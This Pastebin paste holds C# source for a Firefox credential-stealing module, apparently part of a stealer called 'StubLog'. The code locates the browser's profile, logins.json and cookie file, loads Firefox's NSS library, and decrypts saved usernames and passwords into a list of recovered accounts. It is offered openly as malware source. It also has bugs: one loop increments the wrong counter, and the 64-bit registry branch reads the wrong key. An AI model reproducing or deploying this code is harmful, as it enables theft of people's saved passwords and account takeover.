Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.Win32;
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Diagnostics;
- using System.IO;
- using System.Runtime.InteropServices;
- using System.Text;
- using System.Text.RegularExpressions;
- namespace StubLog.Recoveries.Browsers
- {
- class Firefox
- {
- private static IntPtr nssModule;
- private static DirectoryInfo firefoxProfilePath;
- private static DirectoryInfo firefoxPath;
- private static FileInfo firefoxLoginFile;
- private static FileInfo firefoxCookieFile;
- static Firefox()
- {
- try
- {
- firefoxPath = GetFirefoxInstallPath();
- if (firefoxPath == null)
- throw new NullReferenceException("Firefox is not installed, or the install path could not be located");
- firefoxProfilePath = GetProfilePath();
- if (firefoxProfilePath == null)
- throw new NullReferenceException("Firefox does not have any profiles, has it ever been launched?");
- firefoxLoginFile = GetFile(firefoxProfilePath, "logins.json");
- if (firefoxLoginFile == null)
- throw new NullReferenceException("Firefox does not have any logins.json file");
- firefoxCookieFile = GetFile(firefoxProfilePath, "cookies.sqlite");
- if (firefoxCookieFile == null)
- throw new NullReferenceException("Firefox does not have any cookie file");
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.ToString());
- }
- }
- private static DirectoryInfo GetFirefoxInstallPath()
- {
- DirectoryInfo firefoxPath = null;
- // get firefox path from registry
- // we'll search the 32bit install location
- RegistryKey localMachine1 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Mozilla\Mozilla Firefox", false);
- // and lets try the 64bit install location just in case
- RegistryKey localMachine2 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox", false);
- if (localMachine1 != null)
- {
- string[] installedVersions = localMachine1.GetSubKeyNames();
- // we'll take the first installed version, people normally only have one
- if (installedVersions.Length == 0)
- throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");
- RegistryKey mainInstall = localMachine1.OpenSubKey(installedVersions[0]);
- // get install directory
- string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);
- if (installString == null)
- throw new NullReferenceException("Install string was null");
- firefoxPath = new DirectoryInfo(installString);
- }
- else if (localMachine2 != null)
- {
- string[] installedVersions = localMachine1.GetSubKeyNames();
- // we'll take the first installed version, people normally only have one
- if (installedVersions.Length == 0)
- throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");
- RegistryKey mainInstall = localMachine1.OpenSubKey(installedVersions[0]);
- // get install directory
- string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);
- if (installString == null)
- throw new NullReferenceException("Install string was null");
- firefoxPath = new DirectoryInfo(installString);
- }
- return firefoxPath;
- }
- #region Public Members
- public static List<RecoveredAccount> Recover()
- {
- List<RecoveredAccount> data = new List<RecoveredAccount>();
- InitializeDelegates(firefoxProfilePath, firefoxPath);
- try
- {
- Console.WriteLine("Recovering Mozilla Firefox...");
- using (StreamReader sr = new StreamReader(firefoxLoginFile.FullName))
- {
- string json = sr.ReadToEnd();
- Regex JSONRegex = new Regex(@"\""(hostname|encryptedPassword|encryptedUsername)"":""(.*?)""");
- MatchCollection mozMC = JSONRegex.Matches(json);
- for (int i = 0; i < (mozMC.Count - 1); i += 3)
- {
- for (int e = 0; e < 10; i++)
- {
- Console.WriteLine(mozMC[i + e].Groups[2].Value);
- }
- data.Add(new RecoveredAccount
- {
- URL = mozMC[i].Groups[2].Value,
- Username = Decrypt(mozMC[i + 1].Groups[2].Value),
- Password = Decrypt(mozMC[i + 2].Groups[2].Value),
- Application = "Mozilla Firefox"
- });
- }
- }
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.ToString());
- }
- return data;
- }
- #endregion
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- public delegate long NSS_Init(string configdir);
- #region Functions
- private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath)
- {
- //Return if under firefox 35 (35+ supported)
- //Firefox changes their DLL heirarchy/code with different releases
- //So we need to avoid trying to load a DLL in the wrong order
- //To prevent pop up saying it could not load the DLL
- if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major < new Version("35.0.0").Major)
- return;
- if (File.Exists(firefoxPath.FullName + "\\msvcr100.dll"))
- LoadWin32Library(firefoxPath.FullName + "\\msvcr100.dll");
- else if (File.Exists(firefoxPath.FullName + "\\msvcp100.dll"))
- LoadWin32Library(firefoxPath.FullName + "\\msvcp100.dll");
- else if (File.Exists(firefoxPath.FullName + "\\msvcr120.dll"))
- LoadWin32Library(firefoxPath.FullName + "\\msvcr120.dll");
- else if (File.Exists(firefoxPath.FullName + "\\msvcp120.dll"))
- LoadWin32Library(firefoxPath.FullName + "\\msvcp120.dll");
- else if (File.Exists(firefoxPath.FullName + "\\msvcr140.dll"))
- LoadWin32Library(firefoxPath.FullName + "\\msvcr140.dll");
- else if (File.Exists(firefoxPath.FullName + "\\msvcp140.dll"))
- LoadWin32Library(firefoxPath.FullName + "\\msvcp140.dll");
- LoadWin32Library(firefoxPath.FullName + "\\mozglue.dll");
- nssModule = LoadWin32Library(firefoxPath.FullName + "\\nss3.dll");
- IntPtr pProc = GetProcAddress(nssModule, "NSS_Init");
- NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
- NSS_Init(firefoxProfilePath.FullName);
- long keySlot = PK11_GetInternalKeySlot();
- PK11_Authenticate(keySlot, true, 0);
- }
- private static DateTime FromUnixTime(long unixTime)
- {
- DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
- return epoch.AddSeconds(unixTime);
- }
- private static long ToUnixTime(DateTime value)
- {
- TimeSpan span = (value - new DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime());
- return (long)span.TotalSeconds;
- }
- #endregion
- #region File Handling
- private static DirectoryInfo GetProfilePath()
- {
- string raw = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles";
- if (!Directory.Exists(raw))
- throw new Exception("Firefox Application Data folder does not exist!");
- DirectoryInfo profileDir = new DirectoryInfo(raw);
- DirectoryInfo[] profiles = profileDir.GetDirectories();
- if (profiles.Length == 0)
- throw new IndexOutOfRangeException("No Firefox profiles could be found");
- // return first profile, fuck it.
- return profiles[0];
- }
- private static FileInfo GetFile(DirectoryInfo profilePath, string searchTerm)
- {
- foreach (FileInfo file in profilePath.GetFiles(searchTerm))
- {
- return file;
- }
- throw new Exception("No Firefox logins.json was found");
- }
- #endregion
- #region WinApi
- // Credit: http://www.pinvoke.net/default.aspx/kernel32.loadlibrary
- private static IntPtr LoadWin32Library(string libPath)
- {
- if (String.IsNullOrEmpty(libPath))
- throw new ArgumentNullException("libPath");
- IntPtr moduleHandle = LoadLibrary(libPath);
- if (moduleHandle == IntPtr.Zero)
- {
- var lasterror = Marshal.GetLastWin32Error();
- var innerEx = new Win32Exception(lasterror);
- innerEx.Data.Add("LastWin32Error", lasterror);
- throw new Exception("can't load DLL " + libPath, innerEx);
- }
- return moduleHandle;
- }
- [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
- static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
- [DllImport("kernel32.dll")]
- public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- private delegate long NSS_InitPtr(string configdir);
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- private delegate int PK11SDR_DecryptPtr(ref TSECItem data, ref TSECItem result, int cx);
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- private delegate long PK11_GetInternalKeySlotPtr();
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- private delegate long PK11_AuthenticatePtr(long slot, bool loadCerts, long wincx);
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- private delegate int NSSBase64_DecodeBufferPtr(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen);
- [StructLayout(LayoutKind.Sequential)]
- private struct TSECItem
- {
- public int SECItemType;
- public int SECItemData;
- public int SECItemLen;
- }
- #endregion
- #region Delegate Handling
- // Credit: http://www.codeforge.com/article/249225
- private static long PK11_GetInternalKeySlot()
- {
- IntPtr pProc = GetProcAddress(nssModule, "PK11_GetInternalKeySlot");
- PK11_GetInternalKeySlotPtr ptr = (PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_GetInternalKeySlotPtr));
- return ptr();
- }
- private static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
- {
- IntPtr pProc = GetProcAddress(nssModule, "PK11_Authenticate");
- PK11_AuthenticatePtr ptr = (PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_AuthenticatePtr));
- return ptr(slot, loadCerts, wincx);
- }
- private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
- {
- IntPtr pProc = GetProcAddress(nssModule, "NSSBase64_DecodeBuffer");
- NSSBase64_DecodeBufferPtr ptr = (NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSSBase64_DecodeBufferPtr));
- return ptr(arenaOpt, outItemOpt, inStr, inLen);
- }
- private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
- {
- IntPtr pProc = GetProcAddress(nssModule, "PK11SDR_Decrypt");
- PK11SDR_DecryptPtr ptr = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr));
- return ptr(ref data, ref result, cx);
- }
- private static string Decrypt(string cypherText)
- {
- StringBuilder sb = new StringBuilder(cypherText);
- int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, sb, sb.Length);
- TSECItem tSecDec = new TSECItem();
- TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
- if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
- {
- if (tSecDec.SECItemLen != 0)
- {
- byte[] bvRet = new byte[tSecDec.SECItemLen];
- Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
- return Encoding.UTF8.GetString(bvRet);
- }
- }
- return null;
- }
- #endregion
- }
- public class RecoveredAccount
- {
- public string Username { get; set; }
- public string Password { get; set; }
- public string URL { get; set; }
- public string Application { get; set; }
- }
- }
Add Comment
Please, Sign In to add comment